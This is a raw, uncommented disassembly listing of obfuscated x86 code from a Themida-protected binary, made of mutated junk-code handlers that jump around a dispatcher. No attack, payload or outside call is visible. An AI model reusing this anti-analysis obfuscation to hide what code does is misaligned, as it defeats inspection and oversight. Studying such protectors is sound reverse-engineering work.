; ---------------------------------------------------------------------------
loc_558F42: ; CODE XREF: Themida_:0055B8D5j
push ebp
jmp loc_55C05A
; ---------------------------------------------------------------------------
loc_558F48: ; CODE XREF: Themida_:0055750Dj
push small 0
push dx
mov dh, 9
jmp loc_55B86E
; ---------------------------------------------------------------------------
loc_558F55: ; CODE XREF: Themida_:0055254Aj
pop esi
jmp loc_55C17C
; ---------------------------------------------------------------------------
loc_558F5B: ; CODE XREF: Themida_:0055305Bj
mov esi, [esp]
sub esp, 4
jmp loc_5534AE
; ---------------------------------------------------------------------------
loc_558F66: ; CODE XREF: Themida_:0055432Fj
pop ebp
mov ebp, edx
pop edx
sub ebx, 5D0D1AE6h
add ebx, 26594AB4h
add ebx, ebp
push ecx
mov ecx, 26594AB4h
jmp loc_55A5F7
; ---------------------------------------------------------------------------
loc_558F83: ; CODE XREF: Themida_:00552B13j
mov ch, dh
jmp loc_553CFB
; ---------------------------------------------------------------------------
loc_558F8A: ; CODE XREF: Themida_:00559AB2j
or ecx, 399A4C6Fh
add ecx, 0A182D555h
sub eax, ecx
jmp loc_555B67
; ---------------------------------------------------------------------------
loc_558F9D: ; CODE XREF: Themida_:00555054j
push 5F4Fh
mov [esp], edx
pop ebp
pop edx
pop edi
and eax, ebp
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
add esp, 4
or edx, eax
shl edx, 1
push 4FE5h
mov [esp], ebx
push eax
jmp loc_55988D
; ---------------------------------------------------------------------------
loc_558FCB: ; CODE XREF: Themida_:00559AC1j
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
mov ecx, [esp]
jmp loc_556EDB
; ---------------------------------------------------------------------------
loc_558FDE: ; CODE XREF: Themida_:00552725j
sub al, 31h
add al, 46h
jmp loc_556AA8
; ---------------------------------------------------------------------------
loc_558FE7: ; CODE XREF: Themida_:00552AB1j
mov ebp, [esp]
jmp loc_55CD76
; ---------------------------------------------------------------------------
loc_558FEF: ; CODE XREF: Themida_:00553DF4j
push esi
mov esi, esp
jmp loc_55CDA6
; ---------------------------------------------------------------------------
loc_558FF7: ; CODE XREF: Themida_:00556D8Ej
shr ebp, 3
shl ebp, 4
jmp loc_5525D7
; ---------------------------------------------------------------------------
loc_559002: ; CODE XREF: Themida_:0055BB94j
push esi
jmp loc_551A4E
; ---------------------------------------------------------------------------
loc_559008: ; CODE XREF: Themida_:00558C02j
or edx, 45693690h
sub edx, 232BEDD4h
jmp loc_558ADF
; ---------------------------------------------------------------------------
loc_559019: ; CODE XREF: Themida_:005563B2j
xchg ebx, [esp]
pop esp
mov [esp], esi
push 73E8h
mov [esp], esp
jmp loc_555283
; ---------------------------------------------------------------------------
loc_55902D: ; CODE XREF: Themida_:00556826j
or ecx, 76CA2E97h
add ecx, 8121D105h
add edx, ecx
pop ecx
sub esp, 4
mov [esp], eax
push esi
mov esi, 33335C67h
mov eax, esi
mov esi, [esp]
add esp, 4
dec eax
shl eax, 7
xor eax, 99AE3302h
add edx, eax
mov eax, [esp]
add esp, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
imul cl
movzx cx, ah
push small 4714h
mov [esp], cx
movzx cx, al
push cx
pushf
jmp loc_5524E2
; ---------------------------------------------------------------------------
loc_55908A: ; CODE XREF: Themida_:005542B2j
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55908F: ; CODE XREF: Themida_:00552274j
add esi, 73B3446Ah
jmp loc_551CD8
; ---------------------------------------------------------------------------
loc_55909A: ; CODE XREF: Themida_:00554491j
push dword ptr [edi+eax*4]
push ebp
push edx
mov edx, 319D2BEFh
jmp loc_55A30D
; ---------------------------------------------------------------------------
loc_5590A9: ; CODE XREF: Themida_:0055C8E7j
btc [esp], ax
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_5590B4: ; CODE XREF: Themida_:005586A5j
and ebx, ebp
pop ebp
push ecx
mov ecx, 0AE00717h
and ebx, ecx
pop ecx
sub ebx, 44452EE5h
add edi, ebx
pop ebx
jmp loc_55A7D8
; ---------------------------------------------------------------------------
loc_5590CE: ; CODE XREF: Themida_:0055A013j
sub dh, 11h
add al, dh
pop edx
jmp loc_55CEE3
; ---------------------------------------------------------------------------
loc_5590D9: ; CODE XREF: Themida_:0055A84Aj
add esp, 4
push ebp
mov ebp, 2F341B44h
xor ebp, 34B0F6Dh
add ebp, 772D7410h
push eax
mov eax, 548B68DFh
shr eax, 3
not eax
and eax, 44F84A57h
xor eax, 183B758Dh
add ebp, eax
pop eax
add ecx, ebp
pop ebp
xor ecx, [esp]
xor [esp], ecx
jmp loc_559843
; ---------------------------------------------------------------------------
loc_559117: ; CODE XREF: Themida_:0055C568j
pop dword ptr [esp]
jmp loc_555BB8
; ---------------------------------------------------------------------------
loc_55911F: ; CODE XREF: Themida_:00554E8Ej
dec eax
jmp loc_55569E
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov edx, [esp]
add esp, 4
push 6740h
mov [esp], ecx
jmp loc_558B0D
; ---------------------------------------------------------------------------
loc_55913B: ; CODE XREF: Themida_:0055AF20j
mov esp, [esp]
jmp loc_55C36B
; ---------------------------------------------------------------------------
loc_559143: ; CODE XREF: Themida_:005537EDj
mov [esp], esp
add dword ptr [esp], 4
pop dword ptr [esp]
add dword ptr [esp], 4
mov esi, [esp]
add esp, 4
add esi, 4
add esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
push dword ptr [esp]
mov eax, [esp]
jmp loc_5536E3
; ---------------------------------------------------------------------------
loc_559183: ; CODE XREF: Themida_:00553AE6j
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
push edx
jmp loc_55464C
; ---------------------------------------------------------------------------
loc_559196: ; CODE XREF: Themida_:00558BC8j
add esi, 4
add esi, 2
xchg esi, [esp]
pop esp
inc ch
push eax
mov al, 4Dh
sub ch, al
pop eax
add al, 18h
add al, ch
sub al, 18h
push dword ptr [esp]
jmp loc_554522
; ---------------------------------------------------------------------------
loc_5591B9: ; CODE XREF: Themida_:0055CBCCj
add edx, 0ED94C34h
add edx, eax
push eax
mov eax, 0ED94C34h
sub edx, eax
jmp loc_5529C6
; ---------------------------------------------------------------------------
loc_5591CE: ; CODE XREF: Themida_:00554166j
not dl
jmp loc_552448
; ---------------------------------------------------------------------------
loc_5591D5: ; CODE XREF: Themida_:0055CD71j
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
push edi
push edx
mov edx, 6C6F0DE9h
mov edi, 99407E38h
jmp loc_55D0E8
; ---------------------------------------------------------------------------
loc_5591F3: ; CODE XREF: Themida_:0055C3EEj
add ebx, 4
add ebx, 4
xchg ebx, [esp]
jmp loc_55A99C
; ---------------------------------------------------------------------------
lodsd
jmp loc_555E2F
; ---------------------------------------------------------------------------
loc_55920A: ; CODE XREF: Themida_:005523D3j
mov [esp], edi
push esp
jmp loc_5582B9
; ---------------------------------------------------------------------------
loc_559213: ; CODE XREF: Themida_:00557BA6j
inc ebx
jmp loc_558613
; ---------------------------------------------------------------------------
loc_559219: ; CODE XREF: Themida_:00552759j
pop ecx
sub eax, 19CB61D1h
add eax, esi
push ebx
mov ebx, 773537F0h
or ebx, 27360C69h
add ebx, 0A29421D8h
add eax, ebx
pop ebx
pop esi
sub eax, 2E760280h
add eax, ebx
add eax, 2E760280h
sub eax, 38597804h
push 429Dh
mov [esp], edx
jmp loc_55375F
; ---------------------------------------------------------------------------
loc_559255: ; CODE XREF: Themida_:00557DF9j
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
sub esp, 4
mov [esp], edi
jmp loc_55B724
; ---------------------------------------------------------------------------
loc_559275: ; CODE XREF: Themida_:0055266Dj
add esi, 2EC1BF9h
jmp loc_557529
; ---------------------------------------------------------------------------
loc_559280: ; CODE XREF: Themida_:0055A564j
sub esi, 5AB35EA2h
pop edi
add esi, 2
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
cmp cx, ax
pushf
jmp loc_55BE89
; ---------------------------------------------------------------------------
loc_5592A0: ; CODE XREF: Themida_:0055D592j
add esi, 3AB61FBCh
add esi, 3BB45FB0h
jmp loc_554F41
; ---------------------------------------------------------------------------
loc_5592B1: ; CODE XREF: Themida_:00552AF5j
mov ecx, [esp]
jmp loc_553669
; ---------------------------------------------------------------------------
loc_5592B9: ; CODE XREF: Themida_:005539A3j
add ebx, ebp
pop ebp
sub ebx, 0A85B6DB7h
xor ebp, ebx
pop ebx
sub ebp, 2A9C3666h
or [edi+1Ch], ebp
pop ebp
jmp loc_551815
; ---------------------------------------------------------------------------
loc_5592D4: ; CODE XREF: Themida_:005553A1j
mov [esp], edx
mov edx, 1
jmp loc_55D9DA
; ---------------------------------------------------------------------------
loc_5592E1: ; CODE XREF: Themida_:00552ED0j
pop edx
sub bl, al
sub bl, 0F8h
sub bl, 29h
push cx
push ebx
mov bh, 80h
mov cl, bh
pop ebx
jmp loc_55C3AA
; ---------------------------------------------------------------------------
loc_5592F7: ; CODE XREF: Themida_:00554860j
add ecx, 7E4B710Ah
jmp loc_556CFB
; ---------------------------------------------------------------------------
loc_559302: ; CODE XREF: Themida_:0055D8CEj
push ecx
mov ecx, 493E6C5Ch
shr ecx, 8
and ecx, 952053Bh
not ecx
sub ecx, 0F917D872h
add eax, ecx
pop ecx
add eax, ecx
sub eax, 6A82365h
push edi
mov edi, 319D4E4Dh
not edi
sub edi, 3CEC521Fh
push ebx
mov ebx, 1
sub edi, ebx
pop ebx
jmp loc_55C358
; ---------------------------------------------------------------------------
loc_55933F: ; CODE XREF: Themida_:00552AFFj
mov [esp], ebx
mov ebx, 3E7C3C33h
push edx
push ebp
mov ebp, 45C651E7h
sub ebp, 348E1F38h
mov edx, ebp
mov ebp, [esp]
add esp, 4
xor ebx, edx
mov edx, [esp]
add esp, 4
jmp loc_55312F
; ---------------------------------------------------------------------------
loc_55936F: ; CODE XREF: Themida_:00558703j
pop ecx
add esp, 4
dec edi
push esi
mov esi, 5E747B99h
and edi, esi
pop esi
jmp loc_553BC7
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_55952E
; ---------------------------------------------------------------------------
loc_55938B: ; CODE XREF: Themida_:0055AE63j
push ebx
mov ebx, 4
add edi, 7E11170Fh
add edi, ebx
sub edi, 7E11170Fh
mov ebx, [esp]
add esp, 4
add edi, 2
jmp loc_553E0C
; ---------------------------------------------------------------------------
loc_5593B0: ; CODE XREF: Themida_:00558F22j
pop esi
add edi, 4
xchg edi, [esp]
pop esp
sub ecx, 5F6B2E80h
push eax
mov eax, esp
jmp loc_559FBC
; ---------------------------------------------------------------------------
loc_5593C6: ; CODE XREF: Themida_:00559A21j
mov esi, 4
jmp loc_55D0D4
; ---------------------------------------------------------------------------
loc_5593D0: ; CODE XREF: Themida_:0055A54Fj
add edx, ebp
jmp loc_55CE08
; ---------------------------------------------------------------------------
loc_5593D7: ; CODE XREF: Themida_:0055D31Cj
push cx
push ebx
jmp loc_555A7C
; ---------------------------------------------------------------------------
loc_5593DF: ; CODE XREF: Themida_:0055D146j
push ecx
jmp loc_556CBD
; ---------------------------------------------------------------------------
loc_5593E5: ; CODE XREF: Themida_:00553916j
sub eax, 4
xchg eax, [esp]
pop esp
jmp loc_559C91
; ---------------------------------------------------------------------------
loc_5593F1: ; CODE XREF: Themida_:005588FFj
pop ebx
pop ecx
xor dl, cl
push dword ptr [esp]
pop ecx
push 850h
mov [esp], edi
mov edi, esp
jmp loc_55B61D
; ---------------------------------------------------------------------------
loc_559408: ; CODE XREF: Themida_:0055210Cj
add ebx, 73944B7Dh
dec ebx
sub ebx, 0D027E391h
add eax, ebx
pop ebx
push eax
jmp loc_55B705
; ---------------------------------------------------------------------------
loc_55941E: ; CODE XREF: Themida_:00554619j
sub dword ptr [esp], 316F57C2h
pop ebx
add ebx, 316F57C2h
pop ebp
add ebx, edi
mov [ebx], al
pop ebx
jmp loc_551815
; ---------------------------------------------------------------------------
loc_559437: ; CODE XREF: Themida_:00555AFCj
mov esi, 44C93194h
add [esp+4], esi
jmp loc_5553A6
; ---------------------------------------------------------------------------
loc_559445: ; CODE XREF: Themida_:005578F7j
pop dword ptr [esp]
pop esp
jmp loc_551B8D
; ---------------------------------------------------------------------------
loc_55944E: ; CODE XREF: Themida_:0055D27Fj
mov [esp], ecx
push ebp
push esi
jmp loc_558928
; ---------------------------------------------------------------------------
loc_559458: ; CODE XREF: Themida_:00552FCEj
add esp, 4
jmp loc_554BBC
; ---------------------------------------------------------------------------
loc_559463: ; CODE XREF: Themida_:00555BA5j
add esi, edi
pop edi
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
shr eax, 0Eh
xor eax, ecx
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], eax
push edi
pop eax
pop edi
push 10EAh
jmp loc_556EB6
; ---------------------------------------------------------------------------
loc_559498: ; CODE XREF: Themida_:0055DBDDj
pop edx
mov dh, ch
pop cx
push eax
mov al, 13h
neg al
or al, 0D6h
jmp loc_55981C
; ---------------------------------------------------------------------------
loc_5594A9: ; CODE XREF: Themida_:0055AA1Aj
push eax
xchg edi, [esp]
xchg esi, edi
not esi
xor edi, esi
xor esi, edi
xor edi, esi
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push 6863h
mov [esp], ebx
jmp loc_554A06
; ---------------------------------------------------------------------------
loc_5594D6: ; CODE XREF: Themida_:005581B7j
pop esp
add ecx, 2AB32C79h
add ecx, edx
jmp loc_554B97
; ---------------------------------------------------------------------------
loc_5594E4: ; CODE XREF: Themida_:0055429Ej
push esi
mov esi, 4
add ebp, esi
pop esi
sub ebp, 4
jmp loc_55743C
; ---------------------------------------------------------------------------
loc_5594F5: ; CODE XREF: Themida_:00551FB8j
dec cl
add cl, 9Dh
xor al, cl
pop ecx
push 1CABh
mov [esp], eax
mov al, 88h
and al, 6Eh
not al
shr al, 6
jmp loc_55707C
; ---------------------------------------------------------------------------
loc_559513: ; CODE XREF: Themida_:0055B952j
push ebp
mov ebp, 360711B7h
and ebp, 43CB3150h
shr ebp, 6
inc ebp
and ebp, 91E0F06h
jmp loc_5575A6
; ---------------------------------------------------------------------------
loc_55952E: ; CODE XREF: Themida_:00559386j
sub esp, 4
mov [esp], ebp
push esp
pop ebp
sub esp, 4
mov [esp], ecx
push edx
push 7E2F509Ah
pop edx
or edx, 3CC873FDh
push ecx
mov ecx, 238821F6h
neg ecx
jmp loc_555023
; ---------------------------------------------------------------------------
loc_559556: ; CODE XREF: Themida_:005598FDj
mov esi, 66A05861h
and ecx, esi
pop esi
or ecx, 544216E7h
shl ecx, 6
jmp loc_553C1F
; ---------------------------------------------------------------------------
loc_55956C: ; CODE XREF: Themida_:005569F4j
mov ch, ah
jmp loc_55D5B1
; ---------------------------------------------------------------------------
loc_559573: ; CODE XREF: Themida_:0055BD49j
mov edi, 63C7171Ah
dec edi
sub edi, 126424D7h
or edi, 28D7156Bh
shl edi, 6
and edi, 46B26083h
jmp loc_557567
; ---------------------------------------------------------------------------
loc_559593: ; CODE XREF: Themida_:0055402Aj
xchg ecx, [esp]
mov esp, [esp]
mov fs:[edx], al
jmp loc_551815
; ---------------------------------------------------------------------------
loc_5595A1: ; CODE XREF: Themida_:00551CD3j
push esi
mov esi, 5A32610Fh
shr esi, 5
shl esi, 6
shr esi, 8
xor esi, 0B464C0h
add ecx, esi
pop esi
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
jmp loc_55611B
; ---------------------------------------------------------------------------
loc_5595CA: ; CODE XREF: Themida_:0055AA26j
push eax
mov eax, 205649D9h
neg eax
shl eax, 1
and eax, 78A42CA5h
push esi
mov esi, 38002C00h
sub eax, esi
pop esi
add edx, 1AE0657Ah
jmp loc_55C044
; ---------------------------------------------------------------------------
loc_5595ED: ; CODE XREF: Themida_:0055D6AEj
push esi
jmp loc_5575CF
; ---------------------------------------------------------------------------
loc_5595F3: ; CODE XREF: Themida_:0055D2CEj
pop ebp
sub ebx, edx
mov edx, [esp]
add esp, 4
sub eax, 69C33C47h
sub eax, ebx
add eax, 69C33C47h
pop ebx
add eax, ebx
jmp loc_552745
; ---------------------------------------------------------------------------
loc_559613: ; CODE XREF: Themida_:00553397j
add esp, 4
xor edi, [esp]
jmp loc_558435
; ---------------------------------------------------------------------------
loc_55961E: ; CODE XREF: Themida_:0055A7BDj
xor ebp, 4211515Fh
add ecx, 45110114h
jmp loc_55C4A8
; ---------------------------------------------------------------------------
loc_55962F: ; CODE XREF: Themida_:00555ABEj
pop esi
jmp loc_55CE2C
; ---------------------------------------------------------------------------
loc_559635: ; CODE XREF: Themida_:0055D994j
push eax
jmp loc_5579C7
; ---------------------------------------------------------------------------
loc_55963B: ; CODE XREF: Themida_:00551E21j
push ebp
push esp
pop ebp
push esi
mov esi, esp
jmp loc_55A658
; ---------------------------------------------------------------------------
loc_559646: ; CODE XREF: Themida_:00554B2Cj
pop esi
jmp loc_55CA26
; ---------------------------------------------------------------------------
loc_55964C: ; CODE XREF: Themida_:0055AFE6j
add edi, 4
jmp loc_558CC3
; ---------------------------------------------------------------------------
loc_559657: ; CODE XREF: Themida_:00556022j
pop edi
jmp loc_55A692
; ---------------------------------------------------------------------------
loc_55965D: ; CODE XREF: Themida_:0055DCA0j
sub dword ptr [esp+4], 0B26361Dh
pop ebp
add dword ptr [esp], 7F93463Ah
sub [esp], eax
sub dword ptr [esp], 7F93463Ah
push ebp
push edi
push ebp
jmp loc_554176
; ---------------------------------------------------------------------------
loc_55967F: ; CODE XREF: Themida_:005545FDj
and dh, 0DEh
and dh, 0D8h
sub dh, 72h
and dh, 2Dh
sub dh, 2
jmp loc_55D367
; ---------------------------------------------------------------------------
loc_559693: ; CODE XREF: Themida_:0055BD29j
pop ecx
sub esp, 4
mov [esp], eax
jmp loc_55C6F6
; ---------------------------------------------------------------------------
loc_5596A2: ; CODE XREF: Themida_:005521C9j
push dword ptr [esp+4]
push dword ptr [esp]
pop ecx
add esp, 4
pop dword ptr [esp]
jmp loc_552B66
; ---------------------------------------------------------------------------
loc_5596B8: ; CODE XREF: Themida_:0055BD23j
xor al, dl
push dword ptr [esp]
pop edx
add esp, 4
sub esp, 4
jmp loc_55770C
; ---------------------------------------------------------------------------
loc_5596C9: ; CODE XREF: Themida_:0055845Dj
push ebx
mov ebx, 5770BF1h
sub edi, ebx
pop ebx
push edx
push ebx
mov ebx, 0
mov edx, ebx
pop ebx
jmp loc_5569B8
; ---------------------------------------------------------------------------
loc_5596E1: ; CODE XREF: Themida_:0055CF2Cj
xchg edx, edi
shl edi, 8
and edi, 6C2A27A0h
or edi, 7DF314BAh
xor edi, 7DFB37BEh
add ecx, edi
jmp loc_55267B
; ---------------------------------------------------------------------------
loc_5596FF: ; CODE XREF: Themida_:005580A8j
add edx, 4
jmp loc_55D1D6
; ---------------------------------------------------------------------------
loc_55970A: ; CODE XREF: Themida_:0055DC04j
push ebx
mov bh, 9Dh
jmp loc_5543D2
; ---------------------------------------------------------------------------
loc_559712: ; CODE XREF: Themida_:0055BBD0j
sub esp, 4
mov [esp], eax
mov eax, 38FD25CDh
jmp loc_557C0B
; ---------------------------------------------------------------------------
loc_559725: ; CODE XREF: Themida_:005565C0j
push ecx
mov ecx, esp
jmp loc_5545A0
; ---------------------------------------------------------------------------
loc_55972D: ; CODE XREF: Themida_:00557A73j
dec eax
xor eax, 2BE832DDh
add esi, eax
jmp loc_554CF8
; ---------------------------------------------------------------------------
loc_55973A: ; CODE XREF: Themida_:0055568Dj
add edx, 42923569h
sub ebp, edx
pop edx
pop edx
jmp loc_554EFA
; ---------------------------------------------------------------------------
loc_559749: ; CODE XREF: Themida_:00555BEEj
pop edi
and [edi+1Ch], ebx
pop ebx
jmp loc_551815
; ---------------------------------------------------------------------------
loc_559753: ; CODE XREF: Themida_:005525B3j
pop ebx
neg dword ptr [edi+20h]
shr dword ptr [edi+20h], 7
push 2810h
mov [esp], edx
mov edx, 20h
add edx, edi
xor dword ptr [edx], 7975A65h
pop edx
jmp loc_55A779
; ---------------------------------------------------------------------------
loc_559776: ; CODE XREF: Themida_:00556489j
sub esp, 4
mov [esp], esi
jmp loc_553BD8
; ---------------------------------------------------------------------------
loc_559784: ; CODE XREF: Themida_:00553F10j
neg eax
inc eax
and eax, 7EBF035Ah
push 0
sub [esp], eax
jmp loc_553BB3
; ---------------------------------------------------------------------------
loc_559799: ; CODE XREF: Themida_:00551BAFj
mov ebp, 4
sub ebx, ebp
pop ebp
xchg ebx, [esp]
mov esp, [esp]
jmp loc_555F9F
; ---------------------------------------------------------------------------
loc_5597AC: ; CODE XREF: Themida_:0055AE00j
xchg dx, [esp]
mov ax, [esp]
jmp loc_558969
; ---------------------------------------------------------------------------
loc_5597B9: ; CODE XREF: Themida_:0055C69Cj
mov edx, 21911533h
add esi, edx
pop edx
sub esi, 21E14816h
add edi, esi
mov esi, [esp]
add esp, 4
push edx
mov edx, 4
push ebp
jmp loc_55C24F
; ---------------------------------------------------------------------------
loc_5597DE: ; CODE XREF: Themida_:00556B5Fj
push edx
mov edx, 0A6E7FA3Eh
add ebp, edx
jmp loc_55C10E
; ---------------------------------------------------------------------------
loc_5597EB: ; CODE XREF: Themida_:005581E6j
xchg ebx, [esp]
pop esp
mov [esp], edi
mov edi, 68273C93h
and edi, 20496D08h
push 76EBh
mov [esp], eax
mov eax, 7BEA2EBEh
or eax, 173D790Dh
push ebp
mov ebp, 50907317h
add eax, ebp
jmp loc_557747
; ---------------------------------------------------------------------------
loc_55981C: ; CODE XREF: Themida_:005594A4j
sub al, 0D2h
and dh, al
pop eax
xor dh, 63h
jmp loc_55B4F4
; ---------------------------------------------------------------------------
loc_559829: ; CODE XREF: Themida_:00555B16j
xchg ebx, esi
not ebx
xchg ebx, esi
xchg esi, edi
xor edi, 0D1CEE353h
jmp loc_551F2C
; ---------------------------------------------------------------------------
loc_55983C: ; CODE XREF: Themida_:00552AC1j
mov bh, 29h
jmp loc_55D44A
; ---------------------------------------------------------------------------
loc_559843: ; CODE XREF: Themida_:00559112j
xor ecx, [esp]
mov esp, [esp]
idiv cx
push small 49D4h
mov [esp], dx
push ax
pushf
jmp loc_5577B6
; ---------------------------------------------------------------------------
loc_55985C: ; CODE XREF: Themida_:00553193j
mov ecx, [esp]
jmp loc_556A31
; ---------------------------------------------------------------------------
loc_559864: ; CODE XREF: Themida_:00557606j
add ecx, 127DAACh
jmp loc_55B0F4
; ---------------------------------------------------------------------------
loc_55986F: ; CODE XREF: Themida_:00553BECj
jmp loc_552CF8
; ---------------------------------------------------------------------------
loc_559874: ; CODE XREF: Themida_:00559CEEj
mov ebx, [esp]
jmp loc_55A7F9
; ---------------------------------------------------------------------------
loc_55987C: ; CODE XREF: Themida_:00553D3Bj
mov ebp, edi
pop edi
push 85F471EDh
pop ebx
sub ebx, ebp
pop ebp
jmp loc_55323A
; ---------------------------------------------------------------------------
loc_55988D: ; CODE XREF: Themida_:00558FC6j
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
jmp loc_551E87
; ---------------------------------------------------------------------------
loc_5598A2: ; CODE XREF: Themida_:005556B2j
pop esi
add ebx, eax
jmp loc_552230
; ---------------------------------------------------------------------------
loc_5598AA: ; CODE XREF: Themida_:00552D03j
add esi, 4
jmp loc_556493
; ---------------------------------------------------------------------------
loc_5598B5: ; CODE XREF: Themida_:0055D3F9j
mov dx, 763Dh
sub ax, dx
jmp loc_553B1A
; ---------------------------------------------------------------------------
loc_5598C1: ; CODE XREF: Themida_:0055CB2Bj
mov edx, 2AE1E87h
inc edx
sub edx, 2AE1E84h
add esi, edx
jmp loc_55665B
; ---------------------------------------------------------------------------
loc_5598D4: ; CODE XREF: Themida_:0055C4FBj
push 14F7h
mov [esp], edi
push ebx
jmp loc_558BD5
; ---------------------------------------------------------------------------
loc_5598E2: ; CODE XREF: Themida_:00556614j
sub ecx, 0A5BCFD2Fh
sub edi, ecx
jmp loc_553203
; ---------------------------------------------------------------------------
loc_5598EF: ; CODE XREF: Themida_:005549D7j
mov ebp, 21D3745Dh
mov ecx, 115F1B43h
xor ecx, ebp
pop ebp
push esi
jmp loc_559556
; ---------------------------------------------------------------------------
loc_559902: ; CODE XREF: Themida_:00552426j
pop ebx
push ecx
mov ecx, 4BC67756h
and esi, ecx
pop ecx
push edi
mov edi, 23B0658Dh
push esi
mov esi, 7CC53D26h
sub edi, esi
pop esi
sub edi, 0D9A0239h
sub edi, 580D0FE8h
xor esi, edi
pop edi
push edi
mov edi, esi
jmp loc_555646
; ---------------------------------------------------------------------------
loc_559932: ; CODE XREF: Themida_:0055C5BAj
sub al, 0E2h
add al, cl
add al, 0E2h
push bx
mov bl, 4Ah
sub al, bl
pop bx
pop ecx
push ecx
jmp loc_552C08
; ---------------------------------------------------------------------------
loc_559947: ; CODE XREF: Themida_:00555933j
mov edi, ebx
pop ebx
add ebp, edi
pop edi
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
jmp loc_55636E
; ---------------------------------------------------------------------------
loc_55995B: ; CODE XREF: Themida_:00551B47j
mov eax, 0FFFFFFFFh
sub [edi+24h], eax
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
push 19EEh
mov [esp], ecx
mov ecx, esp
push 0C65h
jmp loc_55A587
; ---------------------------------------------------------------------------
loc_559984: ; CODE XREF: Themida_:00555AD6j
add esp, 4
and ebx, edi
jmp loc_5560F2
; ---------------------------------------------------------------------------
loc_559991: ; CODE XREF: Themida_:00552BD6j
or ecx, 5E287CABh
dec ecx
jmp loc_55B8A1
; ---------------------------------------------------------------------------
loc_55999D: ; CODE XREF: Themida_:005549C8j
add esi, 7DA04BB2h
sub esi, 1
neg esi
shl esi, 1
sub esi, 43C826FFh
jmp loc_5584D4
; ---------------------------------------------------------------------------
loc_5599B5: ; CODE XREF: Themida_:0055A164j
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
push 5D0Bh
mov [esp], ebx
push ecx
jmp loc_55C49A
; ---------------------------------------------------------------------------
loc_5599D0: ; CODE XREF: Themida_:00557B6Dj
push 12471E30h
jmp loc_557F3F
; ---------------------------------------------------------------------------
loc_5599DA: ; CODE XREF: Themida_:00558C5Dj
pop esp
push ebx
jmp loc_55D96B
; ---------------------------------------------------------------------------
loc_5599E1: ; CODE XREF: Themida_:0055806Fj
add esp, 4
push eax
push ecx
mov ecx, 16E16BFFh
mov eax, 1D28C335h
add eax, ecx
mov ecx, [esp]
add esp, 4
jmp loc_552EB6
; ---------------------------------------------------------------------------
loc_5599FD: ; CODE XREF: Themida_:0055B985j
mov [esp], ebp
push dword ptr [esp+4]
mov ebp, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
bts [esp], ax
pushf
jmp loc_55C71D
; ---------------------------------------------------------------------------
loc_559A1E: ; CODE XREF: Themida_:0055A398j
mov [esp], esi
jmp loc_5593C6
; ---------------------------------------------------------------------------
loc_559A26: ; CODE XREF: Themida_:0055CE3Dj
push eax
pop ebp
pop eax
sub eax, 60D702D0h
sub eax, ebp
add eax, 60D702D0h
push dword ptr [esp]
pop ebp
push ebx
jmp loc_55B129
; ---------------------------------------------------------------------------
loc_559A3F: ; CODE XREF: Themida_:0055A818j
add esp, 2
jmp loc_551815
; ---------------------------------------------------------------------------
loc_559A47: ; CODE XREF: Themida_:005582D5j
mov edi, 4C362FA9h
jmp loc_551A60
; ---------------------------------------------------------------------------
loc_559A51: ; CODE XREF: Themida_:0055B74Ej
sub al, 44h
push edx
mov dl, 9Dh
jmp loc_554A29
; ---------------------------------------------------------------------------
loc_559A5B: ; CODE XREF: Themida_:0055781Ej
push edi
mov edi, esp
push esi
mov esi, 3249720Bh
xor esi, 3249720Fh
add edi, esi
pop esi
jmp loc_558DB4
; ---------------------------------------------------------------------------
loc_559A72: ; CODE XREF: Themida_:00551FD3j
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
mov esp, [esp]
add esp, 4
bt [esp], eax
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_559A8A: ; CODE XREF: Themida_:0055BF77j
sub dword ptr [esp], 4E006644h
pop ebx
push edx
jmp loc_559AA3
; ---------------------------------------------------------------------------
loc_559A98: ; CODE XREF: Themida_:0055B796j
sub esp, 4
mov [esp], ebx
jmp loc_554483
; ---------------------------------------------------------------------------
loc_559AA3: ; CODE XREF: Themida_:00559A93j
mov edx, 4E006644h
add ebx, edx
pop edx
jmp loc_557910
; ---------------------------------------------------------------------------
loc_559AB0: ; CODE XREF: Themida_:00558E78j
inc ecx
dec ecx
jmp loc_558F8A
; ---------------------------------------------------------------------------
mov ax, [esp]
push ecx
push 5B3Bh
jmp loc_558FCB
; ---------------------------------------------------------------------------
loc_559AC6: ; CODE XREF: Themida_:0055D1F0j
pop esp
push dword ptr [eax]
jmp loc_551815
; ---------------------------------------------------------------------------
loc_559ACE: ; CODE XREF: Themida_:0055C615j
pop esi
xor eax, 140926CAh
push ecx
jmp loc_553841
; ---------------------------------------------------------------------------
loc_559ADA: ; CODE XREF: Themida_:0055B279j
add dword ptr [esp], 4
pop ecx
add ecx, 4
push 5320h
mov [esp], ebx
mov ebx, 2
add ecx, 535508A2h
add ecx, ebx
push edi
mov edi, 5E1F3469h
dec edi
and edi, 156A0078h
not edi
inc edi
dec edi
add edi, 675F090Bh
jmp loc_554021
; ---------------------------------------------------------------------------
loc_559B19: ; CODE XREF: Themida_:0055A081j
pop eax
xchg edi, [esp]
mov esp, [esp]
add dword ptr [esp], 4CD411C8h
push ecx
mov ecx, 7EF230E9h
sub [esp+4], ecx
jmp loc_554105
